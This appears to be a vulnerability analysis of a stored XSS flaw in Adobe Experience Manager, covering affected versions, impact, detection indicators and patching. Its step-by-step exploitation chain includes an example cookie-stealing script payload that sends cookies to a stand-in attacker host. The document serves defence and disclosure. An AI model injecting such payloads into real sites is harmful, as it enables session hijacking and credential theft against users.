CVE-2025-64585: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64585 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields, which is then stored and later executed in the browser of any victim who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the affected page) but does not require high privileges, making it accessible to authenticated users with minimal permissions. The scope is changed, meaning the injected script can affect resources beyond the vulnerable component itself (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. The changed scope means the impact can extend beyond the AEM application itself to any data or sessions accessible within the victim's browser. Confidentiality and integrity are both impacted (low level each), while availability is not directly affected (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or web fingerprinting techniques.
2. Authentication: Obtain low-privileged credentials to the AEM instance (e.g., a standard author or contributor account).
3. Identify vulnerable form fields: Navigate to AEM pages or components that contain form fields susceptible to stored XSS — fields that do not properly sanitize user input before storing and rendering it.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field.
5. Payload delivery: Wait for a victim (e.g., an AEM administrator or another user) to browse to the page containing the injected field, triggering execution of the malicious script in their browser.
6. Achieve objective: Harvest session cookies, perform actions on behalf of the victim, or pivot to further attacks within the victim's browser context (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints containing script tags or encoded JavaScript payloads (e.g., %3Cscript%3E, javascript:, onerror=).
• File System / Content Repository: Unexpected JavaScript content stored within AEM JCR nodes or page content, particularly in form field values or rich text components.
• Network: Outbound browser requests from AEM-hosted pages to unknown external domains (e.g., attacker-controlled cookie-harvesting endpoints), observable in proxy or web application firewall logs.
• Logs: AEM error logs or dispatcher logs showing unusual rendering of content with embedded script tags in response bodies.

Adobe has released patches addressing CVE-2025-64585. Users should upgrade AEM on-premises to version 6.5.24.0 or later, and AEM Cloud Service users should ensure they are on the 2025.12.0 release or later. No specific configuration-based workaround has been publicly documented; upgrading to the patched version is the recommended remediation. Organizations should also review AEM content for any previously injected malicious scripts and audit low-privileged user accounts for suspicious activity (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products, including this CVE, recommending prompt patching. Tenable released a Nessus detection plugin (ID 278346) to help organizations identify vulnerable AEM instances. No notable independent researcher commentary or significant social media discussion has been identified for this specific CVE (CIS Advisory, Tenable).